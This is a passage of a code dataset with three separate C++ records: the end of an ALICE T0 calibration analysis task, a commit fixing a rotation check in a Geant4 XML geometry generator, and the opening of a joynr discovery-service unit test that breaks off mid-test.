TH1F(\"fTzeroORC\",\"fTzeroORC\",200,-2500,2500);\/\/ or C spectrum\r\n\r\n  \r\n  fTzeroObject     = new TObjArray(0);\r\n  fTzeroObject->SetOwner(kTRUE);\r\n  \r\n  for (Int_t i=0; i<24; i++)\r\n    fTzeroObject->AddAtAndExpand(fTimeDiff[i],i);\r\n\r\n  for (Int_t i=0; i<24; i++)\r\n    fTzeroObject->AddAtAndExpand(fCFD[i],i+24); \/\/24 - 48\r\n\r\n  fTzeroObject->AddAtAndExpand(fTzeroORAplusORC, 48);\r\n  fTzeroObject->AddAtAndExpand(fResolution, 49);\r\n  fTzeroObject->AddAtAndExpand(fTzeroORA, 50);\r\n  fTzeroObject->AddAtAndExpand(fTzeroORC, 51);\r\n\r\n  PostData(1, fTzeroObject);\r\n  \/\/ Called once\r\n}\r\n\r\n\/\/________________________________________________________________________\r\nvoid AliT0CalibOffsetChannelsTask::UserExec(Option_t *) \r\n{\r\n  \/\/ Main loop\r\n  \/\/ Called for each event\r\n\r\n  \/\/ Post output data.\r\n  fESD = dynamic_cast<AliESDEvent*>(InputEvent());\r\n  if (!fESD) {\r\n    printf(\"ERROR: fESD not available\\n\");\r\n    return;\r\n  }\r\n\r\n  fRunNumber =  fESD->GetRunNumber() ; \r\n\r\n  const Double32_t* time = fESD->GetT0time();\r\n  const Double32_t* amp = fESD->GetT0amplitude();\r\n  Double32_t diff;\r\n  for (Int_t i=0; i<12; i++) {\r\n    if( time[i] !=0  && amp[i]>0.1 ){\r\n      fCFD[i]->Fill( time[i] );\r\n      \/\/  printf(\" time %f ocdb %f \\n\", time[i],fCDBcfds[i]); \r\n      \r\n      if(  time[0] != 0 ) {\r\n\tdiff =  time[i]-time[0] + fCDBdelays[i];\r\n\tfTimeDiff[i]->Fill( diff);\r\n      }\r\n    }\r\n  }\r\n  for (Int_t i=12; i<24; i++) {\r\n    if( time[i] != 0 && amp[i]>0.1) {\r\n      fCFD[i]->Fill( time[i]);\r\n      \/\/  printf(\" time %f ocdb %f \\n\", time[i],fCDBcfds[i]); \r\n       if( time[12] != 0 ) {\r\n\tdiff =  time[i]-time[12] + fCDBdelays[i];\r\n\tfTimeDiff[i]->Fill( diff);\r\n      }\r\n    }\r\n  }\r\n  const Double32_t* mean = fESD->GetT0TOF();\r\n  Double32_t meanTOF = mean[0] +  fCDBT0s[0];\r\n  Double32_t orA = mean[1]  +  fCDBT0s[1];\r\n  Double32_t orC = mean[2] +  fCDBT0s[2];\r\n \r\n  if(orA<9999) fTzeroORA->Fill(orA);\r\n  if(orC<9999) fTzeroORC->Fill(orC);\r\n  if(orA<9999 && orC<9999) fResolution->Fill((orA-orC)\/2.);\r\n  if(orA<9999 && orC<9999) fTzeroORAplusORC->Fill(meanTOF); \r\n\r\n  \/\/  printf(\"%f   %f  %f\\n\",orA,orC,meanTOF);\r\n  PostData(1, fTzeroObject);\r\n}      \r\n \/\/________________________________________________________________________\r\nvoid AliT0CalibOffsetChannelsTask::Terminate(Option_t *) \r\n{\r\n  \r\n   \/\/ Called once at the end of the query\r\n}\r\n \r\n<|endoftext|>"}
{"text":"<commit_before>\/\/ $Id$\n\/\/ Category: geometry\n\/\/ by I. Hrivnacova, 27.07.2000 \n\/\/\n\/\/ See the class description in the header file.\n\n#include \"TG4XMLGeometryGenerator.h\"\n#include \"TG4XMLConvertor.h\"\n#include \"TG4Globals.h\"\n\n#include <G4Material.hh>\n#include <G4VSolid.hh>\n#include <G4LogicalVolume.hh>\n#include <G4VPhysicalVolume.hh>\n#include <G4PVPlacement.hh>\n#include <G4PVReplica.hh>\n#include <G4ThreeVector.hh>\n#include <G4RotationMatrix.hh>\n\n#include <g4std\/iomanip>\n#include <g4std\/vector>\n\nTG4XMLGeometryGenerator* TG4XMLGeometryGenerator::fgInstance = 0;\n\nTG4XMLGeometryGenerator::TG4XMLGeometryGenerator() \n{\n\/\/\n  if (fgInstance) {\n    TG4Globals::Exception(\n      \"TG4XMLGeometryGenerator: attempt to create two instances of singleton.\");\n  }\n\n  fConvertor = new TG4XMLConvertor(fOutFile);  \n}\n\nTG4XMLGeometryGenerator::TG4XMLGeometryGenerator(const TG4XMLGeometryGenerator& right) \n{\n\/\/ \n  TG4Globals::Exception(\n    \"TG4XMLGeometryGenerator: attempt to copy singleton.\");\n}\n\n\nTG4XMLGeometryGenerator::~TG4XMLGeometryGenerator() {\n\/\/\n}\n\n\/\/ operators\n\nTG4XMLGeometryGenerator& \nTG4XMLGeometryGenerator::operator=(const TG4XMLGeometryGenerator& right)\n{\n  \/\/ check assignement to self\n  if (this == &right) return *this;\n\n  TG4Globals::Exception(\n    \"Attempt to assign TG4XMLGeometryGenerator singleton.\");\n    \n  return *this;  \n}    \n          \n\n\/\/ private methods\n\nvoid TG4XMLGeometryGenerator::CutName(G4String& name) const\n{\n\/\/ Removes spaces after the name if present.\n\/\/ ---\n\n  G4int i = name.length();\n  while (name(--i) == ' ') name = name(0,i);\n}  \n\nvoid TG4XMLGeometryGenerator::ProcessSolids(G4LogicalVolume* lv) \n{\n\/\/ Writes all solids of given logical volume.\n\/\/ ---\n\n  G4VSolid* solid = lv->GetSolid();\n  G4String lvName = lv->GetName();\n  G4String material = lv->GetMaterial()->GetName();\n  fConvertor->WriteSolid(lvName, solid, material);\n  \n  \/\/ store the name of logical volume in the set\n  fVolumeNames.insert(fVolumeNames.begin(), lvName); \n\n  \/\/ process daughters\n  G4int nofDaughters = lv->GetNoDaughters();\n  if (nofDaughters>0) \n    for (G4int i=0; i<nofDaughters; i++) {\n      \/\/G4cout << \"processing \" << i << \"th daughter of \" \n      \/\/       << lv->GetName() << G4endl;\n      G4LogicalVolume* lvd = lv->GetDaughter(i)->GetLogicalVolume();\n      G4String lvdName = lvd->GetName();\n\n      if (fVolumeNames.find(lvdName) == fVolumeNames.end()) {\n        \/\/ process lvd only if it was not yet processed\n        ProcessSolids(lvd);\n      }\t\n    }\n}  \n\nvoid TG4XMLGeometryGenerator::ProcessMaterials(G4LogicalVolume* lv) \n{\n\/\/ Writes all materials of given logical volume.\n\/\/ ---\n\n  G4Material* material = lv->GetMaterial();\n  \n  \/\/ check if this material was already written\n  G4bool written = false;\n  G4String name = material->GetName();\n  CutName(name);\n  if (fMaterialNames.find(name) != fMaterialNames.end()) written = true;\n  \n  if (!written) {\n    fConvertor->WriteMaterial(material);\n    fMaterialNames.insert(fMaterialNames.begin(), name); \n  }  \n  \n  \/\/ store the name of logical volume in the set\n  G4String lvName = lv->GetName();\n  fVolumeNames.insert(fVolumeNames.begin(), lvName); \n\n  G4int nofDaughters = lv->GetNoDaughters();\n  if (nofDaughters>0) \n    for (G4int i=0; i<nofDaughters; i++) {\n      G4LogicalVolume* lvd = lv->GetDaughter(i)->GetLogicalVolume();\n      G4String lvdName = lvd->GetName();\n\n      if (fVolumeNames.find(lvdName) == fVolumeNames.end()) {\n        \/\/ process lvd only if it was not yet processed\n        ProcessMaterials(lvd);\n      }\t\n    }\n}  \n\nvoid TG4XMLGeometryGenerator::ProcessRotations(G4LogicalVolume* lv) \n{\n\/\/ Writes all rotation matrices of given logical volume.\n\/\/ ---\n\n  G4String lvName = lv->GetName();\n\n  \/\/ store the name of logical volume in the set\n  fVolumeNames.insert(fVolumeNames.begin(), lvName); \n  \n  G4int nofDaughters = lv->GetNoDaughters();\n\n  if (nofDaughters>0) {\n    G4int i; \n    for (i=0; i<nofDaughters; i++) {\n      \n      G4VPhysicalVolume* pvd = lv->GetDaughter(i);\n      const G4RotationMatrix* kRotation = pvd->GetRotation();\n      if (kRotation) \n        fConvertor->WriteRotation(kRotation);\n\n      G4LogicalVolume* lvd = pvd->GetLogicalVolume();\n      G4String lvdName = lvd->GetName();\n\n      if (fVolumeNames.find(lvdName) == fVolumeNames.end()) {\n        \/\/ process lvd only if it was not yet processed\n        ProcessRotations(lvd);\n      }\t\n    }\n  }  \n}  \n\nvoid TG4XMLGeometryGenerator::ProcessLogicalVolume(G4LogicalVolume* lv) \n{\n\/\/ Writes logical volume tree.\n\/\/ ---\n  \n  G4int nofDaughters = lv->GetNoDaughters();\n  if (nofDaughters == 0) return;\n  \n  \/\/ open composition\n  G4String lvName = lv->GetName();\n  G4String name = lvName;\n  name.append(\"_comp\");\n  fConvertor->OpenComposition(name);\n  \n  \/\/ write positions  \n  G4int i;\n  for (i=0; i<nofDaughters; i++) {\n   \/\/ G4cout << \"processing \" << i << \"th daughter of \" \n   \/\/        << lv->GetName() << G4endl;\n   \n    G4VPhysicalVolume* vpvd = lv->GetDaughter(i);\n    G4LogicalVolume* lvd = vpvd->GetLogicalVolume();\n      \n    \/\/ get parameters\n    G4String lvName = lvd->GetName();\n    G4String compName = lvd->GetName();\n    compName.append(\"_comp\");      \n    G4int nd = lvd->GetNoDaughters(); \n\n    G4PVPlacement* pvd = dynamic_cast<G4PVPlacement*>(vpvd);\n    if (pvd) {\n      \/\/ placement\n      G4ThreeVector  position = vpvd->GetTranslation();\n      const G4RotationMatrix* kMatrix = vpvd->GetObjectRotation();      \n\n      if (!kMatrix) {\n  \tfConvertor->WritePosition(lvName, position);\n        \/\/ if volume is not leaf node place its logical volume\n        if (nd>0) \n    \t  fConvertor->WritePosition(compName, position);\n      }\t  \n      else {  \n  \tfConvertor->WritePositionWithRotation(lvName, position, kMatrix);\n        if (nd>0) \n      \t   fConvertor->WritePositionWithRotation(compName, position, kMatrix);\n      }\n    }\n    else {\n      G4PVReplica* pvr = dynamic_cast<G4PVReplica*>(vpvd);\n      if (pvr) {\n        \/\/ replica\n    \tfConvertor->WriteReplica(lvName, pvr);\n        \/\/ if volume is not leaf node place its logical volume\n        if (nd>0) \n      \t  fConvertor->WriteReplica(compName, pvr);\n      }\n      else {\n        G4String text = \"TG4XMLGeometryGenerator::ProcessLogicalVolume: \\n\";\n        text = text + \"    Limitation: \\n\";\n        text = text + \"    Other physical volumes than PVPlacement and PVReplica\";\n        text = text + \" are not implemented.\";\n        TG4Globals::Exception(text);\n      }\n    }  \n  }  \n\n  \/\/ close composition\n  fConvertor->CloseComposition();\t\n  fConvertor->WriteEmptyLine();\n\n  \/\/ store the name of logical volume in the set\n  fVolumeNames.insert(fVolumeNames.begin(), lvName); \n\n  \/\/ process daughters\n  for (i=0; i<nofDaughters; i++) {\n    G4LogicalVolume* lvd = lv->GetDaughter(i)->GetLogicalVolume();\n    G4String lvdName = lvd->GetName();\n\n    if (fVolumeNames.find(lvdName) == fVolumeNames.end()) {\n      \/\/ process lvd only if it was not yet processed\n      ProcessLogicalVolume(lvd);\n    }\n  }    \n}  \n\nvoid TG4XMLGeometryGenerator::ClearMaterialNames() \n{\n\/\/ Clears the set of material names.\n\/\/ ---\n\n  fMaterialNames.erase(fMaterialNames.begin(), fMaterialNames.end());\n}  \n\nvoid TG4XMLGeometryGenerator::ClearVolumeNames() \n{\n\/\/ Clears the set of volume names.\n\/\/ ---\n\n  fVolumeNames.erase(fVolumeNames.begin(), fVolumeNames.end());\n}  \n\n\/\/ public methods\n\nvoid TG4XMLGeometryGenerator::GenerateMaterials( \n                        const G4String& version, const G4String& date,\n\t\t        const G4String& author,  const G4String dtdVersion,\n\t\t\tG4LogicalVolume* lv)\n{\n\/\/ Generates the XML material element containing\n\/\/ all materials present in given logical volume.\n\/\/ ---\n\n  \/\/ create section\n  fConvertor->OpenMaterials(version, date, author, dtdVersion);  \n  fConvertor->WriteEmptyLine();\n  \n  \/\/ process materials\n  ProcessMaterials(lv);\n  fConvertor->WriteEmptyLine();\n  ClearMaterialNames();\n  ClearVolumeNames();\n\n  \/\/ close section\n  fConvertor->CloseMaterials();\n  fConvertor->WriteEmptyLine();\n}   \n\nvoid TG4XMLGeometryGenerator::GenerateSection(const G4String& name, \n                        const G4String& version, const G4String& date,\n\t\t        const G4String& author, const G4String& topVolume,\n                        G4LogicalVolume* lv)\n{\n\/\/ Generates the XML section element containing\n\/\/ all geometry objects defined in given logical volume:\n\/\/ rotation matrices, solids and volumes hierarchy.\n\/\/ ---\n\n  \/\/ create section\n  fConvertor->OpenSection(name, version, date, author, topVolume);  \n  fConvertor->WriteEmptyLine();\n  \n  \/\/ process rotations\n  \/\/ProcessRotations(lv);\n  \/\/fConvertor->WriteEmptyLine();\n  \/\/ClearRotations();\n  \/\/ClearVolumeNames();\n    \n  \/\/ process solids\n  ProcessSolids(lv);\n  fConvertor->WriteEmptyLine();\n  ClearVolumeNames();\n    \n  \/\/ process geometry tree\n  ProcessLogicalVolume(lv);\n  fConvertor->WriteEmptyLine();\n  ClearVolumeNames();\n  \n  \/\/ close section\n  fConvertor->CloseSection();\n}   \n\nvoid TG4XMLGeometryGenerator::OpenFile(G4String filePath)\n{ \n\/\/ Opens output file.\n\/\/ ---\n\n  fOutFile.open(filePath, G4std::ios::out); \n  \n  if (!fOutFile) {\n    G4String text = \"Cannot open \";\n    text = text + filePath;\n    TG4Globals::Warning(text);  \n  }\n  \n  \/\/ use FORTRAN compatibility output\n  fOutFile.setf(G4std::ios::fixed, G4std::ios::floatfield);\n}\n\n\nvoid TG4XMLGeometryGenerator::CloseFile()\n{ \n\/\/ Closes output file.\n\/\/ ---\n\n  fOutFile.close(); \n}\n<commit_msg>corrected test for presence of rotation in ProcessLogicalVolume()<commit_after>\/\/ $Id$\n\/\/ Category: geometry\n\/\/ by I. Hrivnacova, 27.07.2000 \n\/\/\n\/\/ See the class description in the header file.\n\n#include \"TG4XMLGeometryGenerator.h\"\n#include \"TG4XMLConvertor.h\"\n#include \"TG4Globals.h\"\n\n#include <G4Material.hh>\n#include <G4VSolid.hh>\n#include <G4LogicalVolume.hh>\n#include <G4VPhysicalVolume.hh>\n#include <G4PVPlacement.hh>\n#include <G4PVReplica.hh>\n#include <G4ThreeVector.hh>\n#include <G4RotationMatrix.hh>\n\n#include <g4std\/iomanip>\n#include <g4std\/vector>\n\nTG4XMLGeometryGenerator* TG4XMLGeometryGenerator::fgInstance = 0;\n\nTG4XMLGeometryGenerator::TG4XMLGeometryGenerator() \n{\n\/\/\n  if (fgInstance) {\n    TG4Globals::Exception(\n      \"TG4XMLGeometryGenerator: attempt to create two instances of singleton.\");\n  }\n\n  fConvertor = new TG4XMLConvertor(fOutFile);  \n}\n\nTG4XMLGeometryGenerator::TG4XMLGeometryGenerator(const TG4XMLGeometryGenerator& right) \n{\n\/\/ \n  TG4Globals::Exception(\n    \"TG4XMLGeometryGenerator: attempt to copy singleton.\");\n}\n\n\nTG4XMLGeometryGenerator::~TG4XMLGeometryGenerator() {\n\/\/\n}\n\n\/\/ operators\n\nTG4XMLGeometryGenerator& \nTG4XMLGeometryGenerator::operator=(const TG4XMLGeometryGenerator& right)\n{\n  \/\/ check assignement to self\n  if (this == &right) return *this;\n\n  TG4Globals::Exception(\n    \"Attempt to assign TG4XMLGeometryGenerator singleton.\");\n    \n  return *this;  \n}    \n          \n\n\/\/ private methods\n\nvoid TG4XMLGeometryGenerator::CutName(G4String& name) const\n{\n\/\/ Removes spaces after the name if present.\n\/\/ ---\n\n  G4int i = name.length();\n  while (name(--i) == ' ') name = name(0,i);\n}  \n\nvoid TG4XMLGeometryGenerator::ProcessSolids(G4LogicalVolume* lv) \n{\n\/\/ Writes all solids of given logical volume.\n\/\/ ---\n\n  G4VSolid* solid = lv->GetSolid();\n  G4String lvName = lv->GetName();\n  G4String material = lv->GetMaterial()->GetName();\n  fConvertor->WriteSolid(lvName, solid, material);\n  \n  \/\/ store the name of logical volume in the set\n  fVolumeNames.insert(fVolumeNames.begin(), lvName); \n\n  \/\/ process daughters\n  G4int nofDaughters = lv->GetNoDaughters();\n  if (nofDaughters>0) \n    for (G4int i=0; i<nofDaughters; i++) {\n      \/\/G4cout << \"processing \" << i << \"th daughter of \" \n      \/\/       << lv->GetName() << G4endl;\n      G4LogicalVolume* lvd = lv->GetDaughter(i)->GetLogicalVolume();\n      G4String lvdName = lvd->GetName();\n\n      if (fVolumeNames.find(lvdName) == fVolumeNames.end()) {\n        \/\/ process lvd only if it was not yet processed\n        ProcessSolids(lvd);\n      }\t\n    }\n}  \n\nvoid TG4XMLGeometryGenerator::ProcessMaterials(G4LogicalVolume* lv) \n{\n\/\/ Writes all materials of given logical volume.\n\/\/ ---\n\n  G4Material* material = lv->GetMaterial();\n  \n  \/\/ check if this material was already written\n  G4bool written = false;\n  G4String name = material->GetName();\n  CutName(name);\n  if (fMaterialNames.find(name) != fMaterialNames.end()) written = true;\n  \n  if (!written) {\n    fConvertor->WriteMaterial(material);\n    fMaterialNames.insert(fMaterialNames.begin(), name); \n  }  \n  \n  \/\/ store the name of logical volume in the set\n  G4String lvName = lv->GetName();\n  fVolumeNames.insert(fVolumeNames.begin(), lvName); \n\n  G4int nofDaughters = lv->GetNoDaughters();\n  if (nofDaughters>0) \n    for (G4int i=0; i<nofDaughters; i++) {\n      G4LogicalVolume* lvd = lv->GetDaughter(i)->GetLogicalVolume();\n      G4String lvdName = lvd->GetName();\n\n      if (fVolumeNames.find(lvdName) == fVolumeNames.end()) {\n        \/\/ process lvd only if it was not yet processed\n        ProcessMaterials(lvd);\n      }\t\n    }\n}  \n\nvoid TG4XMLGeometryGenerator::ProcessRotations(G4LogicalVolume* lv) \n{\n\/\/ Writes all rotation matrices of given logical volume.\n\/\/ ---\n\n  G4String lvName = lv->GetName();\n\n  \/\/ store the name of logical volume in the set\n  fVolumeNames.insert(fVolumeNames.begin(), lvName); \n  \n  G4int nofDaughters = lv->GetNoDaughters();\n\n  if (nofDaughters>0) {\n    G4int i; \n    for (i=0; i<nofDaughters; i++) {\n      \n      G4VPhysicalVolume* pvd = lv->GetDaughter(i);\n      const G4RotationMatrix* kRotation = pvd->GetRotation();\n      if (kRotation) \n        fConvertor->WriteRotation(kRotation);\n\n      G4LogicalVolume* lvd = pvd->GetLogicalVolume();\n      G4String lvdName = lvd->GetName();\n\n      if (fVolumeNames.find(lvdName) == fVolumeNames.end()) {\n        \/\/ process lvd only if it was not yet processed\n        ProcessRotations(lvd);\n      }\t\n    }\n  }  \n}  \n\nvoid TG4XMLGeometryGenerator::ProcessLogicalVolume(G4LogicalVolume* lv) \n{\n\/\/ Writes logical volume tree.\n\/\/ ---\n  \n  G4int nofDaughters = lv->GetNoDaughters();\n  if (nofDaughters == 0) return;\n  \n  \/\/ open composition\n  G4String lvName = lv->GetName();\n  G4String name = lvName;\n  name.append(\"_comp\");\n  fConvertor->OpenComposition(name);\n  \n  \/\/ write positions  \n  G4int i;\n  for (i=0; i<nofDaughters; i++) {\n   \/\/ G4cout << \"processing \" << i << \"th daughter of \" \n   \/\/        << lv->GetName() << G4endl;\n   \n    G4VPhysicalVolume* vpvd = lv->GetDaughter(i);\n    G4LogicalVolume* lvd = vpvd->GetLogicalVolume();\n      \n    \/\/ get parameters\n    G4String lvName = lvd->GetName();\n    G4String compName = lvd->GetName();\n    compName.append(\"_comp\");      \n    G4int nd = lvd->GetNoDaughters(); \n\n    G4PVPlacement* pvd = dynamic_cast<G4PVPlacement*>(vpvd);\n    if (pvd) {\n      \/\/ placement\n      G4ThreeVector  position = vpvd->GetTranslation();\n\n      if (!vpvd->GetRotation()) {\n  \tfConvertor->WritePosition(lvName, position);\n        \/\/ if volume is not leaf node place its logical volume\n        if (nd>0) \n    \t  fConvertor->WritePosition(compName, position);\n      }\t  \n      else {  \n        const G4RotationMatrix* kMatrix = vpvd->GetObjectRotation();      \n  \tfConvertor->WritePositionWithRotation(lvName, position, kMatrix);\n        if (nd>0) \n      \t   fConvertor->WritePositionWithRotation(compName, position, kMatrix);\n      }\n    }\n    else {\n      G4PVReplica* pvr = dynamic_cast<G4PVReplica*>(vpvd);\n      if (pvr) {\n        \/\/ replica\n    \tfConvertor->WriteReplica(lvName, pvr);\n        \/\/ if volume is not leaf node place its logical volume\n        if (nd>0) \n      \t  fConvertor->WriteReplica(compName, pvr);\n      }\n      else {\n        G4String text = \"TG4XMLGeometryGenerator::ProcessLogicalVolume: \\n\";\n        text = text + \"    Limitation: \\n\";\n        text = text + \"    Other physical volumes than PVPlacement and PVReplica\";\n        text = text + \" are not implemented.\";\n        TG4Globals::Exception(text);\n      }\n    }  \n  }  \n\n  \/\/ close composition\n  fConvertor->CloseComposition();\t\n  fConvertor->WriteEmptyLine();\n\n  \/\/ store the name of logical volume in the set\n  fVolumeNames.insert(fVolumeNames.begin(), lvName); \n\n  \/\/ process daughters\n  for (i=0; i<nofDaughters; i++) {\n    G4LogicalVolume* lvd = lv->GetDaughter(i)->GetLogicalVolume();\n    G4String lvdName = lvd->GetName();\n\n    if (fVolumeNames.find(lvdName) == fVolumeNames.end()) {\n      \/\/ process lvd only if it was not yet processed\n      ProcessLogicalVolume(lvd);\n    }\n  }    \n}  \n\nvoid TG4XMLGeometryGenerator::ClearMaterialNames() \n{\n\/\/ Clears the set of material names.\n\/\/ ---\n\n  fMaterialNames.erase(fMaterialNames.begin(), fMaterialNames.end());\n}  \n\nvoid TG4XMLGeometryGenerator::ClearVolumeNames() \n{\n\/\/ Clears the set of volume names.\n\/\/ ---\n\n  fVolumeNames.erase(fVolumeNames.begin(), fVolumeNames.end());\n}  \n\n\/\/ public methods\n\nvoid TG4XMLGeometryGenerator::GenerateMaterials( \n                        const G4String& version, const G4String& date,\n\t\t        const G4String& author,  const G4String dtdVersion,\n\t\t\tG4LogicalVolume* lv)\n{\n\/\/ Generates the XML material element containing\n\/\/ all materials present in given logical volume.\n\/\/ ---\n\n  \/\/ create section\n  fConvertor->OpenMaterials(version, date, author, dtdVersion);  \n  fConvertor->WriteEmptyLine();\n  \n  \/\/ process materials\n  ProcessMaterials(lv);\n  fConvertor->WriteEmptyLine();\n  ClearMaterialNames();\n  ClearVolumeNames();\n\n  \/\/ close section\n  fConvertor->CloseMaterials();\n  fConvertor->WriteEmptyLine();\n}   \n\nvoid TG4XMLGeometryGenerator::GenerateSection(const G4String& name, \n                        const G4String& version, const G4String& date,\n\t\t        const G4String& author, const G4String& topVolume,\n                        G4LogicalVolume* lv)\n{\n\/\/ Generates the XML section element containing\n\/\/ all geometry objects defined in given logical volume:\n\/\/ rotation matrices, solids and volumes hierarchy.\n\/\/ ---\n\n  \/\/ create section\n  fConvertor->OpenSection(name, version, date, author, topVolume);  \n  fConvertor->WriteEmptyLine();\n  \n  \/\/ process rotations\n  \/\/ProcessRotations(lv);\n  \/\/fConvertor->WriteEmptyLine();\n  \/\/ClearRotations();\n  \/\/ClearVolumeNames();\n    \n  \/\/ process solids\n  ProcessSolids(lv);\n  fConvertor->WriteEmptyLine();\n  ClearVolumeNames();\n    \n  \/\/ process geometry tree\n  ProcessLogicalVolume(lv);\n  fConvertor->WriteEmptyLine();\n  ClearVolumeNames();\n  \n  \/\/ close section\n  fConvertor->CloseSection();\n}   \n\nvoid TG4XMLGeometryGenerator::OpenFile(G4String filePath)\n{ \n\/\/ Opens output file.\n\/\/ ---\n\n  fOutFile.open(filePath, G4std::ios::out); \n  \n  if (!fOutFile) {\n    G4String text = \"Cannot open \";\n    text = text + filePath;\n    TG4Globals::Warning(text);  \n  }\n  \n  \/\/ use FORTRAN compatibility output\n  fOutFile.setf(G4std::ios::fixed, G4std::ios::floatfield);\n}\n\n\nvoid TG4XMLGeometryGenerator::CloseFile()\n{ \n\/\/ Closes output file.\n\/\/ ---\n\n  fOutFile.close(); \n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * #%L\n * %%\n * Copyright (C) 2011 - 2017 BMW Car IT GmbH\n * %%\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n * #L%\n *\/\n#include <memory>\n#include <string>\n\n#include <gtest\/gtest.h>\n#include <gmock\/gmock.h>\n\n#include \"joynr\/JoynrClusterControllerRuntime.h\"\n#include \"joynr\/LibjoynrSettings.h\"\n#include \"joynr\/system\/DiscoveryProxy.h\"\n#include \"joynr\/Settings.h\"\n#include \"joynr\/types\/Version.h\"\n#include \"joynr\/system\/RoutingTypes\/MqttAddress.h\"\n#include \"joynr\/system\/RoutingTypes\/ChannelAddress.h\"\n#include \"joynr\/serializer\/Serializer.h\"\n\n#include \"tests\/JoynrTest.h\"\n#include \"tests\/utils\/MockObjects.h\"\n\nusing namespace joynr;\n\nclass SystemServicesDiscoveryTest : public ::testing::Test {\npublic:\n    std::string settingsFilename;\n    std::unique_ptr<Settings> settings;\n    std::string discoveryDomain;\n    std::string discoveryProviderParticipantId;\n    std::shared_ptr<JoynrClusterControllerRuntime> runtime;\n    std::shared_ptr<ITransportMessageReceiver> mockMessageReceiverHttp;\n    std::shared_ptr<ITransportMessageReceiver> mockMessageReceiverMqtt;\n    std::shared_ptr<ITransportMessageSender> mockMessageSenderMqtt;\n    DiscoveryQos discoveryQos;\n    std::shared_ptr<ProxyBuilder<joynr::system::DiscoveryProxy>> discoveryProxyBuilder;\n    std::shared_ptr<joynr::system::DiscoveryProxy> discoveryProxy;\n    std::int64_t lastSeenDateMs;\n    std::int64_t expiryDateMs;\n    std::string publicKeyId;\n\n    SystemServicesDiscoveryTest() :\n        settingsFilename(\"test-resources\/SystemServicesDiscoveryTest.settings\"),\n        settings(std::make_unique<Settings>(settingsFilename)),\n        discoveryDomain(),\n        discoveryProviderParticipantId(),\n        runtime(),\n        mockMessageReceiverHttp(std::make_shared<MockTransportMessageReceiver>()),\n        mockMessageReceiverMqtt(std::make_shared<MockTransportMessageReceiver>()),\n        mockMessageSenderMqtt(std::make_shared<MockTransportMessageSender>()),\n        discoveryQos(),\n        discoveryProxyBuilder(nullptr),\n        discoveryProxy(nullptr),\n        lastSeenDateMs(-1),\n        expiryDateMs(-1),\n        publicKeyId(\"\")\n    {\n        SystemServicesSettings systemSettings(*settings);\n        systemSettings.printSettings();\n        discoveryDomain = systemSettings.getDomain();\n        discoveryProviderParticipantId = systemSettings.getCcDiscoveryProviderParticipantId();\n\n        discoveryQos.setCacheMaxAgeMs(1000);\n        discoveryQos.setArbitrationStrategy(DiscoveryQos::ArbitrationStrategy::FIXED_PARTICIPANT);\n        discoveryQos.addCustomParameter(\"fixedParticipantId\", discoveryProviderParticipantId);\n        discoveryQos.setDiscoveryTimeoutMs(50);\n\n        std::string httpChannelId(\"http_SystemServicesDiscoveryTest.ChannelId\");\n        std::string httpEndPointUrl(\"http_SystemServicesRoutingTest.endPointUrl\");\n        std::string mqttTopic(\"mqtt_SystemServicesRoutingTest.topic\");\n        std::string mqttBrokerUrl(\"mqtt_SystemServicesRoutingTest.brokerUrl\");\n\n        using system::RoutingTypes::ChannelAddress;\n        using system::RoutingTypes::MqttAddress;\n\n        std::string serializedChannelAddress = joynr::serializer::serializeToJson(ChannelAddress(httpEndPointUrl, httpChannelId));\n        std::string serializedMqttAddress = joynr::serializer::serializeToJson(MqttAddress(mqttBrokerUrl, mqttTopic));\n\n        EXPECT_CALL(*(std::dynamic_pointer_cast<MockTransportMessageReceiver>(mockMessageReceiverHttp).get()), getGlobalClusterControllerAddress())\n                .WillRepeatedly(::testing::ReturnRefOfCopy(serializedChannelAddress));\n        EXPECT_CALL(*(std::dynamic_pointer_cast<MockTransportMessageReceiver>(mockMessageReceiverMqtt)), getGlobalClusterControllerAddress())\n                .WillRepeatedly(::testing::ReturnRefOfCopy(serializedMqttAddress));\n\n        \/\/runtime can only be created, after MockCommunicationManager has been told to return\n        \/\/a channelId for getReceiveChannelId.\n        runtime = std::make_shared<JoynrClusterControllerRuntime>(\n                std::move(settings),\n                mockMessageReceiverHttp,\n                nullptr,\n                mockMessageReceiverMqtt,\n                mockMessageSenderMqtt);\n        \/\/ discovery provider is normally registered in JoynrClusterControllerRuntime::create\n        runtime->init();\n        runtime->registerDiscoveryProvider();\n    }\n\n    ~SystemServicesDiscoveryTest(){\n        runtime->unregisterDiscoveryProvider();\n        runtime->deleteChannel();\n        runtime->stopExternalCommunication();\n        std::remove(settingsFilename.c_str());\n    }\n\n    void SetUp(){\n        discoveryProxyBuilder = runtime->createProxyBuilder<joynr::system::DiscoveryProxy>(discoveryDomain);\n    }\n\n    void TearDown(){\n        \/\/ Delete persisted files\n        std::remove(ClusterControllerSettings::DEFAULT_LOCAL_CAPABILITIES_DIRECTORY_PERSISTENCE_FILENAME().c_str());\n        std::remove(LibjoynrSettings::DEFAULT_MESSAGE_ROUTER_PERSISTENCE_FILENAME().c_str());\n        std::remove(LibjoynrSettings::DEFAULT_SUBSCRIPTIONREQUEST_PERSISTENCE_FILENAME().c_str());\n        std::remove(LibjoynrSettings::DEFAULT_PARTICIPANT_IDS_PERSISTENCE_FILENAME().c_str());\n    }\n\nprivate:\n    DISALLOW_COPY_AND_ASSIGN(SystemServicesDiscoveryTest);\n};\n\n\nTEST_F(SystemServicesDiscoveryTest, discoveryProviderIsAvailable)\n{\n    JOYNR_EXPECT_NO_THROW(\n        discoveryProxy = discoveryProxyBuilder\n                ->setMessagingQos(MessagingQos(5000))\n                ->setDiscoveryQos(discoveryQos)\n                ->build();\n    );\n}\n\nTEST_F(SystemServicesDiscoveryTest, lookupUnknowParticipantReturnsEmptyResult)\n{\n    discoveryProxy = discoveryProxyBuilder\n            ->setMessagingQos(MessagingQos(5000))\n            ->setDiscoveryQos(discoveryQos)\n            ->build();\n\n    std::vector<joynr::types::DiscoveryEntryWithMetaInfo> result;\n    std::string domain(\"SystemServicesDiscoveryTest.Domain.A\");\n    std::string interfaceName(\"SystemServicesDiscoveryTest.InterfaceName.A\");\n    joynr::types::DiscoveryQos 